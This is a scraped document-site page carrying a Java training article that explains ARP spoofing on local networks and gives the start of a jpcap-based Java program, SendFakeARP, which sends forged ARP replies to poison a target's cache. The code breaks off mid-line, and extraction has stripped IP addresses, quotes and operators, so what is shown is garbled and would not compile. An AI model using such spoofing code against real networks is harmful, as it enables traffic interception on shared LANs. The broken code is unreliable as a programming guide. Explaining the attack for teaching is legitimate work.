- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
南京Java培训机构 Java代码实现ARP攻击.doc
南京Java培训机构 Java代码实现ARP攻击
一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信.
而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将
IP地址解析到MAC地址,这就是ARP协议.
而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中
是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点
收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,
ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,
会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候,
系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。
用ping命令举例来说, 在机器A,比如说IP是中发出下面的ping命令:
ping ,如果这个MAC地址在机器A的ARP缓存表中不存在,这时候
机器A就会发送一个ARP广播,当接到广播后,会给机器A回一个
ARP Reply包,其中包含了的MAC地址,这是正常的ARP过程.
假设IP--MAC的对应关系为(--00-1C-23-2E-A7-0E)
但是局域网内的其他机器也可向机器A发一个假的IP--MAC对应关系ARP Reply包,
机器A接收到这个假的包后同样会更新自己的ARP缓存表.假设发送的为
(--00-1C-23-2E-A7-0A,0A实际上为的MAC地址)
那么机器A再通过IP往发送数据的时候,实际上却发到了这台机器.
这样就到达了ARP攻击或者叫做ARP欺骗.ARP攻击只能发生在局域网内.
本文旨在举例说明ARP攻击的原理,希望看官们不要用来恶作剧你局域网的其他机器,要不你的网管很快就会面谈你滴...
下面用JAVA代码模拟一下上面说到的ARP欺骗.
将一个的假的MAC地址发给 .
需要用到jpcap.jar,
[java] view plaincopyprint?
package com.test.arp;
import .InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
public class SendFakeARP {
static byte[] stomac(String s) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split(-);
for (int x = 0; x s1.length; x++) {
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) 0xff);
}
return mac;
}
public static void main(String[] args) throws Exception {
int time = 2; // 重发间隔时间
InetAddress desip = InetAddress.getByName();// 被欺骗的目标IP地址
byte[] desmac = stomac(00-1c-23-3c-41-7f);// 被欺骗的目标目标MAC数组
InetAddress srcip = InetAddress.getByName();// 源IP地址
byte[] srcmac = stomac(00-1C-23-2E-A7-0A); // 假的MAC数组
// 枚举网卡并打开设备
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterface device = devices[1];
JpcapSender sender = JpcapSender.openDevice(device);
// 设置ARP包
ARPPacket arp = new A
您可能关注的文档
- 华东师范大学MBA教育中心.doc
- 华东师范大学优秀毕业生登记表.doc
- 华东师范大学孟宪承书院第一届团学联主席团成员竞选申报表.doc
- 华东师范大学干部和特定身份人员因私出国(境)申请表.doc
- 华东师范大学期末试卷(A闭卷).doc
- 华东师范大学期末试卷(软院A卷).doc
- 华东师范大学本科生成绩管理试行规定.doc
- 华东师范大学档案馆学生成绩证书翻译登记表.doc
- 华东师范大学沉浸式汉语强化中级班课程安排.doc
- 华东师范大学研究生短期交流项目申请表.doc
- 2023-2024学年安徽省安庆市石化第一中学八年级上学期期末考试地理试卷.pdf
- 2026版社会工作者《社会工作实务》考前练习题(考点提分).docx
- 2026版社会工作者《社会工作实务》考前练习题带答案(b卷).docx
- 物业管理纠纷仲裁执行难点.docx
- 《药理学》在线开放课程药理学pharmacology第十四章 抗精神失常药.pdf
- 《药理学》在线开放课程药理学pharmacology第二十九章 甲状腺激素和抗_2.pdf
- 河南研究:经济数据跟踪.pdf
- 2026版社会工作者(初)《社会工作实务》考试典型题(含答案).docx
- 2026版社会工作者《社会工作实务》考前练习题及答案(名校卷).docx
- 2026版社会工作者《社会工作实务》考前练习题及完整答案1套.docx
原创力文档


文档评论(0)